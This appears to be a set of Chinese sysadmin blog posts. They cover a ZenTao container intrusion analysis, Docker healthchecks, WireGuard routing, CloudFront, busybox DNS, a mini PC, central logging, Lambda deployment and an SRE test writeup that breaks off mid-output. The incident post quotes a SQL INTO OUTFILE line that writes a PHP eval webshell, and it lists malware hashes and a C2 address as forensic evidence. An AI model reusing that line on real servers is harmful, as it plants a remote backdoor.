SELECT "@eval(\$_POST['nasik1']);" INTO OUTFILE '/apps/zentao/config/config.php'

生成的。

在 zentao 的日志里发现了关键几句：

1
2
3
4

192.168.0.1 - - [15/Apr/2025:15:58:43 +0800] "POST /adminer/index.php HTTP/1.0" 302 - "https://api-devnet.chainless.top:8002/adminer/index.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
192.168.0.1 - - [15/Apr/2025:15:58:44 +0800] "GET /adminer/index.php?username=root&db=zentao HTTP/1.0" 403 4673 "https://api-devnet.chainless.top:8002/adminer/index.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
192.168.0.1 - - [15/Apr/2025:15:58:44 +0800] "GET /adminer/index.php?file=functions.js&version=4.8.2-dev HTTP/1.0" 200 27548 "https://api-devnet.chainless.top:8002/adminer/index.php?username=root&db=zentao" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
192.168.0.1 - - [15/Apr/2025:15:58:45 +0800] "GET /adminer/index.php?file=favicon.ico&version=4.8.2-dev HTTP/1.0" 200 318 "https://api-devnet.chainless.top:8002/adminer/index.php?username=root&db=zentao" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"

由上可以看出，黑客是 15/Apr/2025:15:58:44 +0800 开始进来的。但是前面看 /apps/zentao/config/config.php 是 16/Apr/2025 被植入后门的。但我在那个时间没有抓到有力证据有写入 config.php 的操作。

后续操作

另外用禅道官方最新的 image easysoft/zentao:21.6 和之前的持久化的数据，删了些东西，重建了一个容器：zentao，publish 到 8001 端口，现在用宿主机的 内网 IP 可以访问。

随后会创建网络 ACL，据掉从 192.168.0.0/23（PVE） 到 192.168.2.0/23（深圳办公室） 的主动访问请求。

异常文件分析

以下为容器内 /tmp 目录下的关键异常文件：

1. **/tmp/phpx2lUxr**：

   • MD5：0a525dab9878c80373399c1ed0f7b8d6
   • 创建时间：2025年4月23指的是什么？4月23日
   • 分析：文件内容为base64编码字符串，解码后疑似为加密的恶意脚本或payload。由于文件过大，未直接包含在报告中。初步分析表明其可能为攻击者植入的加密后门或下载器，用于动态加载其他恶意代码。
   • 作用：可能作为初始植入点或后续恶意代码的加载器。

2. **/tmp/.1/ns**：

   • MD5：dd1c4358c778d3f1161266fa0d81e8cc
   • 描述：位于隐藏目录 /tmp/.1 中，可执行二进制文件，负责C2通信。

3. **/tmp/slix**：

   • MD5：cbd49e364bac69eb77813435e5c18365
   • 描述：可执行文件，负责协调网络扫描和脚本执行。

4. 其他文件：

   • /tmp/fs：网络扫描工具，配合 scanb.sh 使用。
   • /tmp/rustscan：快速端口扫描工具。
   • /tmp/cdk_linux_386：疑似漏洞利用或恶意二进制文件。
   • /tmp/.32915ant_x64.so、/tmp/gconv-modules：可能的恶意动态库。
   • /tmp/adminer.invalid、/tmp/adminer.version：与Adminer数据库管理工具相关，暗示可能的web攻击向量。
   • /tmp/CVE-2021-22555-Exploit：目录名指向Linux内核提权漏洞（CVE-2021-22555），表明攻击者尝试提权。

攻击者基础设施

• IP地址：176.32.35.190
• 归属：俄罗斯，BX-NETWORK（AS51659），托管商Baxet.ru，滥用联系邮箱 noc@baxet.ru。
• 作用：C2服务器，接收 ns 进程的通信，控制恶意活动。
• 证据：网络流量分析显示 176.32.35.190:8024 为主要外部通信目标，ns 进程的 -vkey=82yukro912ktndfc 参数表明存在身份验证机制。

入侵时间线

• **2025 年 4 月 15 日：应该就被入侵（通过 adminer 进来了）
• 2025年4月15–23日：恶意文件（slix、ns、phpx2lUxr 等）陆续出现，slix 进程最早于4月17日启动，表明入侵可能发生于4月中旬。
• 2025年4月23日：ns 进程启动，与C2服务器建立连接。
• 2025年5月6日：检测到PVE香港出口带宽异常，初步定位为 176.32.35.190:8024 的流量。
• 2025年5月7日：通过 pstree -a 确认容器内存在异常进程，正式确认入侵。

可能攻击向量

• ZenTao漏洞：easysoft/zentao:21.4 或其Adminer组件可能存在远程代码执行（RCE）、文件上传或其他web漏洞，导致初始访问。
• Web暴露：容器通过PVE主机的Nginx代理暴露端口 8002，若未配置强认证或WAF，可能被外部直接攻击。
• 提权尝试：/tmp/CVE-2021-22555-Exploit 表明攻击者尝试利用Linux内核漏洞提权，但 docker inspect 显示容器非特权模式（"Privileged": false），限制了提权影响。
• 用户权限：恶意进程以 nobody 用户运行，与ZenTao的Apache默认用户一致，暗示攻击通过web漏洞获得容器内执行权限。

事件影响

• 容器妥协：zentao 容器完全被入侵，运行恶意进程并与C2服务器通信。
• 网络扫描：攻击者扫描内网网段 192.168.0.0/16 和 172.24.0.0/16，可能收集了网络拓扑或其他设备信息。
• 数据泄露风险：ns 进程与C2服务器的通信，可能导致敏感数据（如ZenTao数据库内容）外泄或接收恶意指令。
• 主机安全：暂无证据显示PVE主机或其他虚拟机受损，但内网扫描行为增加了横向移动风险。

结论

zentao 容器于2025年4月中旬通过可能的web漏洞被入侵，攻击者植入恶意文件（slix、ns、phpx2lUxr 等），执行网络扫描和C2通信。入侵持续约20天，直至2025年5月6日因带宽异常暴露。应急隔离措施已生效，建议进一步分析日志、恶意文件，重建干净的ZenTao服务，并检查内网其他系统是否受影响。

curl

文档里都讲是

1
2
3
4
5
6
7

# docker compose file
healthcheck:
    test: ["CMD-SHELL", "curl -f http://localhost:8090/ || exit 1"]
    interval: 30s
    timeout: 3s
    retries: 3
    start_period: 10s

这种方式，但是实际上，我经手的大多 image，都没有统一的健康检查 url，这样直接访问，很有可能出各种结果，返回的 return code 不是 200 的结果，这样的话，这个健康检查会过不去，但是服务却是好的。所以，经过研究，发现更好的应该是：

1
2
3
4
5
6
7

# docker compose file
healthcheck:
    test: ["CMD-SHELL", "curl -s -o /dev/null http://localhost:8090/ || exit 1"]
    interval: 30s
    timeout: 3s
    retries: 3
    start_period: 10s

当然，这个解决不了一个致命问题：好些个基础 image，都不带命令 curl，然后我就开始了尝试下一个方案。

/proc/net/tcp

服务绑定监听端口，肯定会更新 /proc/net/tcp 这个文件，只不过端口号得转换成十六进制。就像这样：

1
2
3
4
5
6
7
8

# Docker compose file
healthcheck:
    # Check that entries for ports 8000 exist in the /proc/net/tcp file. Port 8000 is represented as :1F40.
    test: ["CMD-SHELL", "sleep 2 && grep ':1F40' /proc/net/tcp"]
    interval: 30s
    timeout: 5s
    retries: 3
    start_period: 30s

一直工作挺好，直到某一天我遇到一个基于 openjdk:8u342 的 Docker image，跑着 java 的程序，这个 java 程序监听着端口 8090，明明工作正常，但是健康检查却过不去，进到容器里一看，/proc/net/tcp 文件里的确没有 “:1f9a”（printf "%x\n" 8090）！

非常诡异！一顿好查。

1

apt update && apt install -y iproute2 procps

然后：

1

ss -nalpt

发现有

*:8090

但是 /proc/net/tcp 里始终没有 “:1f9a”，最后偶然间发现文件 /proc/net/tcp6，打开看：

0: 00000000000000000000000000000000:1F9A 00000000000000000000000000000000:0000 0A 00000000:00000000

“:1F9A” 赫然在这里！

回头找原因，只能认为是 java 程序绑定监听端口时优先绑了 IPv6 的地址，但是由于 kernel 参数：net.ipv6.bindv6only=0 （缺省就是这样），从而绑在 IPv6 地址上的端口，在 IPv4 的地址上也能访问。

好吧，/proc/net/tcp 方案不是不行了，而是还要考虑到文件 /proc/net/tcp6

/dev/tcp/{hostname}/{port}

1
2
3
4
5
6
7

# Docker compose file
healthcheck:
    test: ["CMD-SHELL", "echo > /dev/tcp/localhost/8090 || exit 1"]
    interval: 30s
    timeout: 3s
    retries: 3
    start_period: 10s

这个方案就有一个缺点：bash 可用但 sh 下不可用

场景描述

我司在 IDC 中有一台运行 Debian 的服务器 L1，有两个上联口：E-a 和 E-b，分别连接到运营商 I-a 和 I-b。IP 地址为 ip-a 和 ip-b。L1 上的策略路由很简单：

• 源地址为 ip-a 的数据包通过 E-a 口走 I-a
• 其他数据包则通过默认出口 E-b 走 I-b（源地址自然是 ip-b）

此外，L1 还通过网口 E-c 连接内网，IP 地址为 ip-c。L1 上运行 WirGuard，绑定 0.0.0.0 的 udp 端口 12345。

在办公室，我司还有一台运行 Debian 的机器 L2。由于 L2 位于内网中，没有公网 IP。L2 上也运行着 WireGuard，绑定在 0.0.0.0 的（udp）端口 12345。同时，我在办公室的路由器上做了端口映射，将 udp 12345 端口映射到 L2（虽然这完全没什么用）。

L2 的 WireGuard 配置中，peer 的 endpoint 指定为 L1 的 IP 地址 ip-a。由于 L2 没有公网地址且出口地址不固定，因此在 L1 的 WireGuard 配置中并没有指定 L2 的 IP 地址。就这样，L1 和 L2 上的 WireGuard 的连接顺利建立，一切都如预期般正常运行。

异常现象

其实，L2 上还运行着一个 SmokePing，监测着 ip-a、ip-b 和 ip-c，当然也还有其他，不过那些跟这里没啥关系，也就不提了。

某天我在 Smokeping 监控中发现，ping ip-c 的（时间）值明显高于 ping ip-a 的值，且与 ping ip-b 的相近。这一现象让我感到困惑，因为到 ip-c 的数据包走的逻辑链路（通过 WireGuard 隧道）实际上应该与到 ip-a 的物理链路完全相同，所以 ping ip-c 的数据应该跟 ping ip-a 的几乎一样才对。

我的第一反应是，可能是办公室的网络接入商或 I-a 对 UDP 包进行了 QoS 限速，因为 WireGuard 使用的是 UDP 协议。经过与客服的沟通，确认并没有针对 UDP 包的限速策略。

接着，我使用 iperf3 在 L1 和 L2 之间进行了测速，发现走 UDP 和走 TCP 的测试结果数据引并没有显著差别，这表明问题并不在于 UDP 包有被干扰。随后，我在 L2 上使用 tcpdump 监听 WireGuard 的数据包，结果让我大吃一惊：所有的数据包都是与 ip-b 的端口 12345 进行交互，而不是预期中的 ip-a！这也解释了为什么 ping ip-c 的延迟与 ping ip-b 的延迟相近，因为数据实际上是通过到 ip-b 的物理链路进行的。

深入分析

面对这一现象，我感到百思不得其解。于是，我记录下当前的状况，并重启了 L2 上的 WireGuard，结果一切又都恢复正常：WireGuard 的数据交互对端 IP 变回了 ip-a，ping ip-c 的延迟也降到了与 ping ip-a 相同的水平。

进一步查阅资料后，我发现 WireGuard 具有 endpoint 自动更新的机制。虽然 L1 上没有 L2 端的 endpoint 数据，但 L2 上有 L1 的数据。当 L2 第一次连接 L1 时，L1 会记录下 L2 的 endpoint 数据。如果 L2 使用了不同的 IP 地址连接 L1，L1 会更新 L2 的 endpoint IP 地址。反之亦然。这意味着，当 L1 从 E-b 口以 ip-b 作为源地址连接 L2 时，L2 也会更新 L1 的 endpoint IP 地址。

最终，我意识到问题的根源在于 L1 突然使用源 IP 为 ip-b 从 E-b 口发送 WireGuard 数据包给 L2。期间，我发现办公网的网络曾经闪断过几分钟。真相逐渐浮出水面：当 L2 的上联公网链路断开时，L1 由于长时间未收到来自 L2 的 WireGuard 数据包，可能出于某种原因主动向 L2 发送 WireGuard 包，查找 L2 的 endpoint IP 和端口数据。此时，由于源地址未定，数据包直接通过 E-b 口发送，源地址被设为 ip-b。这些数据包持续发送到 L2，直到 L2 的上联网络恢复。L2 收到来自 ip-b 的 L1 的 WireGuard 数据包后，触发了更新 L1 的 endpoint 数据，从而开始与 L1 的 ip-b 进行 WireGuard 数据交互。

结论

通过这一系列的分析，整个逻辑变得自洽了。这一现象不仅揭示了 WireGuard 的灵活性和自动化特性，也提醒我们在设计网络架构时，需考虑到各种可能的网络状态变化。希望这篇文章能为您在使用 WireGuard 或其他 VPN 技术时提供一些启示。

我厂有一个网站（域名 a.b.com 和 a1.b.com），原来是跑在自己 IDC 里的机器上的，用 Docker 容器跑的，容器里就一个 nginx，放了一堆的静态资源。

为了“用户体验”，这两个域名都上了 CDN（AWS 的 cloudfront），源站分别是：

1. a.ori.b.com
2. a1.ori.b.com

最近做了一次架构调整，把这个服务迁移到了 AWS 的 EC2 上，而且将这个服务放在了一个 ALB 的后面，这个 ALB 是启用了 cloudfront 集成的，所以，我在 route 53 上就把这两个域名都解析到了 ALB 集成的这个 cloudfront distribution 的域名上了。

然后，发现问题了。a.b.com 工作符合预期而 a1.b.com 老是返回 502 错误，而且是 cloudfront 直接返回的。

排查过程

这里就不细说了

结论

当你要把一个域名由传统 cloudfront 上迁移到 ALB 集成的 cloudfront 的时候，你多半要小心了，如果你忘了把之前的 cloudfront distribution 的话，迁移可能会达不到你预期的效果的。也就是说，这个域名在 cloudfront 上还是会走之前的配置！哪怕你的域名已经正确指向了 ALB 集成的 cloudfront distribution.

多说几句

我上面的这个例子里，其实最早两个域名都是有问题的，但为什么有一个没有暴露出来呢，那是因为每暴露出来的这个，之前的 cloudfront distribution 到源站什么都是好的，所以他走原来的配置也没问题，但另外一个由于源站的域名指向被删除，所以原配置就无法工作了，才暴露出问题的。

最近发现了一个 Prometheus 官方 Docker image(https://hub.docker.com/u/prom) 生成的容器不能解析同一个 自定义 bridge 上的其他 Docker 容器的容器名的问题。

一些情况

1. 我的环境是 PVE 7.* 里的一个 vm，跑的操作系统是 Debian 12(bookworm)，docker 版本是 28.0.2
2. 多个容器公用的是一个较 bridge111 的 自定义 bridge，地址段是：172.18.0.0/16
3. 其中还跑的有 grafana 官方的容器：grafana 和 loki，从这两个容器里可以正确解析其他所有 bridge111 下的容器的容器名
4. prometheus 官方 docker image 的容器，都不能正确解析 bridge111 下所有容器的容器名(会出 “bad address” 的报错提示)，但是能正确解析互联网域名，比如 baidu.com
5. 发现 prometheus 的这一些 docker image 都是基于 quay.io/prometheus/busybox，而 quay.io/prometheus/busybox 又是指向的 quay.io/prometheus/busybox:uclibc，quay.io/prometheus/busybox:uclibc 基于的 busybox:uclibc
6. 用 quay.io/prometheus/busybox:uclibc 创建容器试了一下，果然不能解析容器名，但可以解析互联网域名
7. 用 quay.io/prometheus/busybox:glibc 试了一下，则没有任何问题
8. 再用 busybox:uclibc 试了一下，也不行，都是 “bad address”

所以差不多水落石出，busybox:uclibc 这个 image 的锅。

环境介绍

BTW, 我的版本如下：

• Debian 12(bookworm)
• kernel 6.1.0
• docker 28.0.2
• prometheus: v2.53.4
• alertmanager: v0.27.0
• blackbox-exporter: v0.25.0
• snmp-exporter: v0.28.0

参考

• https://github.com/prometheus/busybox/issues/18

最近，我花了 800 块钱买了一台 Mini PC，用来办公。刚好这四个月在公司领到的每月 200 块钱电脑补贴，全都花光了。算是“取之于公司，用之于公司”吧，哈哈。

这次的购买经历不仅让我更深刻地体会到“消费降级”的现实，还让我感受到了科技进步所带来的性价比红利。在预算有限的情况下，这台 Mini PC 不仅完美满足了我的日常需求，还让我对它的未来用途充满期待。接下来，我详细聊聊这次购买的选择过程、使用体验以及相关感悟。

配置与硬件概览

这台 Mini PC 的硬件配置如下：

• CPU: Intel 第 12 代 N100
  • 4 核心
  • 缺省运行在 0.8 GHz 的低功耗模式，但睿频最高可达 3.4 GHz
• 内存: DDR4，主频未知
• 存储: M.2 2280 PCIe SSD，容量 512 GB
• 网络: 双频 WiFi（2.4G+5G）+ 蓝牙
• 其他物理接口:
  • USB3.2 × 2
  • USB2.0 × 2
  • 耳机接口 × 1
  • 千兆以太网卡 × 1
  • HDMI × 1
  • DP（DisplayPort） × 1

此外，它的体积和重量也非常小巧：

• 尺寸：124.5 x 112 x 50.8 mm
• 重量：约 400 克

整机可以轻松放在桌面的一角，或者显示器下面的空隙。

系统选择与使用体验

拿到手后，我给这台 Mini PC 装了 Debian testing 系统，当前版本是 Debian 13，字母代号 trixie，桌面环境选择了轻量的 XFCE。安装过程非常顺利，硬件驱动几乎开箱即用，尤其是 WiFi 和蓝牙的兼容性让我非常满意。

但是装完以后进入桌面发现 wifi 用不了。可能是安装时没选相关 non-free 的包的问题吧。但是经过简单的排错、下载了一个 https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-so-a0-jf-b0-77.ucode 放到 /usr/lib/firmware/ 目录下以后就好了。

下面是一张我使用 neofetch 工具查看系统和硬件信息的截图：

从图中可以清晰看到系统的核心信息：

• 系统: Debian GNU/Linux trixie/sid x86_64
• 内核: 6.11.7-amd64
• 运行时间: 已开机 7 天 19 小时
• CPU: Intel N100 (4 核 @ 3.4 GHz)
• GPU: Intel Alder Lake-N UHD Graphics
• 内存使用: 11.88 GB / 15.70 GB

选择 Mini PC 的理由

Mac Mini M2 的诱惑

有趣的是，这次购买正好碰上了 Mac Mini M4 发售。因为各种折扣补贴，当时这台设备的价格非常美好，只要 3000 出头。有同事也推荐我直接买 Mac Mini，毕竟性能和生态都很优秀，而且这好像还是第一次改了模具，整个机型变得比上一版小巧了很多很多。

我确实犹豫了一下，但仔细思考后，还是选择了这台便宜了两千多块的 Mini PC。原因很简单：

1. 预算有限：800 元 vs 3000 元，差价不是一星半点。即使 Mac Mini 性能更好，但对我来说这些性能是溢出的，完全用不到。
2. 实际需求：我的工作主要依赖 SSH 和 浏览器，对性能的要求并不高。而这台 Mini PC 在省钱的同时，已经能很好地满足这些需求。
3. 可玩性更高：用 Debian 和 XFCE 环境，比起 macOS，更符合我的习惯，也更自由可控。

好吧，我摊牌了，其实原因就是第一个，其他两个都是搭头。

所以，尽管 Mac Mini M4 也是性价比很高的设备，但对比我的实际需求，这台 800 元的 Mini PC 显然是更务实的选择。

办公和远程工作的便利性

目前，这台 Mini PC 是我主要的办公设备，而且我设置了它每天不关机，一直保持在线状态。在家时，如果需要处理工作，只要通过远程工具直接登录它，就可以快速进入工作状态，非常方便。

同时，得益于低功耗特性，而且的确负载也轻，它 24 小时开机几乎感觉不到风扇的噪音。这样的小型设备，不仅可以满足日常办公需求，还能成为远程协作的可靠节点。

低功耗与未来的潜力

这台 Mini PC 的另一个显著优势是功耗极低。Intel N100 平台在缺省状态下只跑 0.8 GHz，风扇几乎听不到声音。即使长时间开机运行，耗电和发热都非常可控。偶尔需要睿频到 3.4 GHz 时，性能释放也完全够用。

得益于低功耗、小尺寸的特点，这台电脑即使以后不再用作办公机，也有很多未来用途。我已经有以下几个计划：

• NAS：搭建一个家庭文件存储和同步服务，继续配合 Syncthing 使用。
• Docker 容器：托管一些轻量级的服务，比如媒体服务器、工具脚本等。
• 远程访问节点：利用 ZeroTier 和 Tailscale，随时随地访问家中设备。

对比起高功耗的传统台式机，这样的小型设备更适合用作家庭服务器，长期运行也不用担心电费问题。

关于消费降级的感慨

老实说，我选择这台 Mini PC，主要还是因为个人经济状况的限制。最近手头确实有点紧，所以只能选择性价比最高的方案。以前可能会考虑更高端的设备，比如 Mac Mini，但现在不得不降低预算，选择更务实的解决方案。

不过，虽然是消费降级，但我并没有感到体验上的妥协。反而在科技发展的红利下，我用 800 块就买到了一台能够胜任办公、还能支持未来扩展的 Mini PC。放在几年前，这样的设备简直是想都不敢想。

总的来说，这次的购买让我非常满意。当然，为了避免“带货”嫌疑，就不提具体品牌和型号以及购买的平台了。不过，如果你也在寻找一台高性价比的办公电脑，这种 Mini PC 确实值得考虑。

最近要做个 log server，把所有服务器的系统日志都收上来。我现在的服务器，操作系统有两种：Amazon Linux 2023 和 Ubuntu，但其实 Ubuntu 又有 22.04 和 24.04 两种，所以，其实是一共有三种操作系统。

好在这三种系统，其缺省跑的日志应用，Amazon Linux 2023 是 systemd-journald，而 Ubuntu(22.04 和 24.04) 都是既跑有 systemd-journald，又跑的有 rsyslogd。这两种日志应用，都是支持集中的日志服务器的，或者很容易支持。但是为什么不就用一套 rsyslogd 的日志服务器呢？毕竟大家都支持 rsyslogd 的。主要是因为 systemd-journald 相对于 rsyslogd 是很新的东西，所以这里也拿出来练练手。

rsyslogd

server

rsyslog 的 log server 配置还是相当简单的

1
2

vim /etc/rsyslog.d/remote.conf
# 新建 /etc/rsyslog.d/remote.conf 文件

加入如下内容：

1
2
3
4
5
6
7
8
9
10
11

module(load="imudp")
input(type="imudp" port="514")
module(load="imtcp")
input(type="imtcp" port="514")

template(name="RemoteLogsWithHostIPDate" type="string" string="/var/log/remote/rsyslog/%fromhost-ip%_%hostname%/%programname%-%$YEAR%-%$MONTH%-%$DAY%.log")

if ($fromhost-ip == "127.0.0.1") then {
    stop
}
*.* action(type="omfile" dynaFile="RemoteLogsWithHostIPDate")

重启 rsyslogd

1

systemctl restart rsyslog

client

客户端的配置也相当简单

1
2

vim /etc/rsyslog.d/99-remote.conf
# 新建文件：/etc/rsyslog.d/99-remote.conf

写入如下内容：

1
2
3

*.* @logserver.xxx.xxx:514
# 用 udp 把日志打到前面配好的 rsyslog 日志服务器
# 地址假设是 `logserver.xxx.xxx`

最后重启 rsyslog

1

systemctl restart rsyslog

systemd-journal-remote

server

1
2
3
4
5
6

dnf install systemd-journal-remote
# install software depended, log server is based on Amazon Linux 2023
systemctl edit systemd-journal-remote.service
# change the configuration of service systemd-journal-remote
# NOTE: must write in the special blank lines
# 注意：必须在指定的空行内输入配置

指定的空行内输入如下内容：

1
2
3
4
5
6

[Service]
ExecStart=
ExecStart=/usr/lib/systemd/systemd-journal-remote --listen-http=-3 --output=/var/log/remote/journal/
LogsDirectory=remote/journal
# 如果 ExecStart 那一行的 --output 参数指定的目录没改的话
# 最后那一行是不需要的

保存以后，使得

1

cat /etc/systemd/system/systemd-journal-remote.service.d/override.conf

能看到之前输入的内容即可。

1
2

mkdir /var/log/remote/journal
systemctl edit systemd-journal-remote.socket

指定的空行里输入：

1
2
3

[Socket]
ListenStream=
ListenStream=19532

保存后退出。使得

1

cat /etc/systemd/system/systemd-journal-remote.socket.d/override.conf

输出的内容正是之前输入的即可。

1
2

systemctl enable --now systemd-journal-remote.socket
# enable and start systemd-journal-remote.socket

client

1
2
3
4
5
6
7
8
9
10

dnf install systemd-journal-remote
# install software depended
mkdir /etc/systemd/journal-upload.conf.d/
cat <<EOF > /etc/systemd/journal-upload.conf.d/override.conf
[Upload]
URL=http://logserver.xxx.xxx:19532
EOF

systemctl enable --now systemd-journal-upload.service
# enable and start service of systemd-journal-upload

参考

• https://idle.nprescott.com/2024/journald-for-centralized-logging.html

要把 Python 项目部署到 AWS 的 Lambda function，AWS 官方提供了两种方法：Chalice 和 SAM(AWS Serverless Application Model)，当然，其实比较常用的还有第三方的 serverless。

详情

Chalice

Chalice 不仅仅是一个部署工具，它还是一个框架，要是用它需要在 Python 代码里 import 它的包，并在代码里需要的地方使用它的方法做一些操作。

这样才能在用命令 chalice deploy 部署时结合其他配置文件(.chalice/config.json 以及其他需要的 .chalice/policy-xxx.json) 完成部署。

Chalice 其实应该是调用的 AWS SDK for Python 来实现的，因此它也需要先在本地配置 AWS 的 credentials。

SAM

SAM，全称：AWS Serverless Application Model，由名字一看就知道是一个通用的工具，可以用来部署各种语言（比如 Python、Java 和 nodejs）编写的 serverless 应用。

SAM 则是完全基于 AWS CLI，所以本地需要先安装并配置好 AWS CLI 的环境，让 AWS CLI 能跑起来。

SAM 的工作原理其实最终是通过在 AWS 上的 cloudformation 里创建 stack 来完成部署的。所以，cloudformation 有的缺点他都有。

区别

1. Chalice 仅适用于 Python 语言，而且对代码的侵入性比较强。但优点是完全使用 AWS SDK，不依赖于 AWS CLI 和 cloudformation(尤其是后者，比较不好用)
2. SAM 更加通用，不侵入代码，但缺点是依赖于 AWS CLI 和 cloudformation（主要是后者）

总结

• 如果是新起的项目，并打算用 Python 开发的，可以考虑选 Chalice
• 如果不是用 Python 开发的，肯定不能用 Chalice，大概率选 SAM
• 如果是已有的项目，现在要部署到 AWS 的 Lambda function，也最好选 SAM

本文由 老杨 原创，转载请注明出处。

这是之前有一家公司招 SRE，我投了简历，然后被给了份题让先做一下，于是便有了这篇“水”文。

当然，最终我并没有拿到这个 offer，最早是说一周内安排面试的，后来又说是这个岗位暂停了。

详情

第一题

题目有效时间只有 4 小时，当时没记下来，现在只能凭记忆力大概写一下了。

大概是系统有个进程在写文件 /tmp/hugelog

第一题第一问

这一问肯定是要求将其找出来（找到 process id）

1

lsof | grep /tmp/hugelog

seeknhide 773 root 3w REG 252,3 6887024 655475 /tmp/hugelog
seeknhide 773 802 seeknhide root 3w REG 252,3 6887024 655475 /tmp/hugelog
seeknhide 773 804 seeknhide root 3w REG 252,3 6887024 655475 /tmp/hugelog
seeknhide 773 805 seeknhide root 3w REG 252,3 6887024 655475 /tmp/hugelog

1

ps auxww | grep 773

root 773 0.0 0.2 710484 2136 ? Sl Jun18 0:22 /root/challs/01_seeknhide/seeknhide
root 5877 0.0 0.2 6608 2484 pts/0 S+ 13:53 0:00 grep –color=auto 773

so, the process is /root/challs/01_seeknhide/seeknhide, process id is: 773

第一题第二问

写 /tmp/hugelog 的程序文件已经被删除，但请算出其的 md5 码

1

readlink -f /proc/773/exe

/root/challs/01_seeknhide/seeknhide (deleted)

1
2

cp /proc/773/exe a
md5sum a

eba0e82f5b454a492077c67ab89ae033 a

so the execute file is: /root/challs/01_seeknhide/seeknhide, but it was deleted.

and the md5sum is: eba0e82f5b454a492077c67ab89ae033

第一题第三问

将这个 process 杀掉

1

kill 773

第二题

有一个 app 代码项目，有代码，有 Dockerfile。

第二题第一问

需要 build 并运行一个 docker 容器，其监听主机的 8888 端口，可以用命令 curl http://127.0.0.1:8888 来测试（返回 Hello, World!）。

1
2
3
4

cd app
docker build -t app:latest .
docker run -it -d -p 8888:4657 app:latest
curl http://127.0.0.1:8888

curl: (52) Empty reply from server

1
2
3
4

# backup firstly
cp serve.py serve.py.ori
vim serve.py
# change from localhost to 0.0.0.0

1
2
3
4
5
6
7
8

docker build -t app:new .
# stop and delete the old container
docker stop cool_germain
docker rm cool_germain
# then run it by new image
docker run -it -d -p 8888:4567 app:new
# test it
curl http://127.0.0.1:8888

Hello, World!

第二题第二问

做了什么修改以及为什么要做这个修改。

我的答案是：fix it by binding host from ‘localhot’ to ‘0.0.0.0’

第三题

日志文件 jwt.log 里有一些数据纪录，有些是真的，有些是假的，需要找出来真的数据纪录的条数。（有代码的要附上源码）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

import jwt
import base64
import hashlib
import hmac
import sys

secret = "_welcome_to_chaitin_"

def verify_jwt(token):
    try:
        header, payload, signature = token.split('.')
        header_json = base64.urlsafe_b64decode(header + '===').decode()
        payload_json = base64.urlsafe_b64decode(payload + '===').decode()
        message = f'{header}.{payload}'
        secret_bytes = secret.encode()
        message_bytes = message.encode()
        expected_signature = base64.urlsafe_b64encode(hmac.new(secret_bytes, message_bytes, hashlib.sha256).digest()).rstrip(b'=')
        if signature.encode() == expected_signature:
            return True
    except Exception as e:
        print(f"Error verifying JWT: {e}", file=sys.stderr)
    return False


authentic_count = 0
fake_count = 0

print("Script execution started.")
with open('jwt.log', 'r') as file:
    for line in file:
        jwt_token = line.strip()
        if verify_jwt(jwt_token):
            authentic_count += 1
        else:
            fake_count += 1
print("Script execution finished.")

print(f"Number of authentic JWTs: {authentic_count}")
print(f"Number of fake JWTs: {fake_count}")

1

python3 jwt.py

Script execution started.
Script execution finished.
Number of authentic JWTs: 768
Number of fake JWTs: 90
Script execution started.
Script execution finished.
Number of authentic JWTs: 768
Number of fake JWTs: 90

so, The number of authentic JWTs is: 768

第四题

有个文件：make_me_happy

第四题第一问

尽量找出这个文件相关的信息。

这个程序执行时会去连本地的一个接口，把这个接口找出来。

1

file make_me_happy

make_me_happy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=w3cEj7RamW7-qGzf3Nhs/UpW-8zX_rMqqAZOxch9q/g8QtiW2olQfv2K-oXiQs/KuNmNVsa3dhXuFD3EuZR, with debug_info, not stripped

1

ls -l make_me_happy

-rw-r–r– 1 root root 6777227 Feb 16 2023 make_me_happy

has no execute permission.

1

ldd make_me_happy

1
2
3
4

linux-vdso.so.1 (0x00007ffcd23ca000)
libresolv.so.2 => /lib/x86_64-linux-gnu/libresolv.so.2 (0x00007fdcb92fc000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdcb90d4000)
/lib64/ld-linux-x86-64.so.2 (0x00007fdcb9319000) 

1

strings make_me_happy | grep -iE '(http|https|server|socket)://127'

……invalid signature: parent certificate cannot sign this kind of certificatehttp://127.0.0.1:7777/pow?q=give_me_a_string_whose_sha256sum_in_hex_begins_with_%srefusing to use HTTP_PROXY value in CGI environment……

1
2
3

# make make_me_happy excutable with /usr/bin/chmod has no execute permission
# using python3
python3

1
2

import os
os.chmod('make_me_happy', 0o755)

1

strace ./make_me_happy

……openat(AT_FDCWD, “/root/.config/make_me_happy.conf”, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
write(1, “Not OK\n”, 7Not OK

1
2

touch /root/.config/make_me_happy.conf
strace ./make_me_happy

……connect(7, {sa_family=AF_INET, sin_port=htons(7777), sin_addr=inet_addr(“127.0.0.1”)}, 16) = -1 EINPROGRESS (Operation now in progress)
epoll_ctl(4, EPOLL_CTL_ADD, 7, {events=EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, data={u32=4114591560, u64=140651408633672}}) = 0
epoll_pwait(4, [{events=EPOLLIN|EPOLLOUT|EPOLLERR|EPOLLHUP|EPOLLRDHUP, data={u32=4114591560, u64=140651408633672}}], 128, 0, NULL, 0) = 1
getsockopt(7, SOL_SOCKET, SO_ERROR, [ECONNREFUSED], [4]) = 0
epoll_ctl(4, EPOLL_CTL_DEL, 7, 0xc0000bf074) = 0
close(7) = 0
write(1, “Not OK\n”, 7Not OK

1

nc -4l 7777 &

[1] 7379

1

./make_me_happy

GET /pow?q=give_me_a_string_whose_sha256sum_in_hex_begins_with_7865 HTTP/1.1
Host: 127.0.0.1:7777
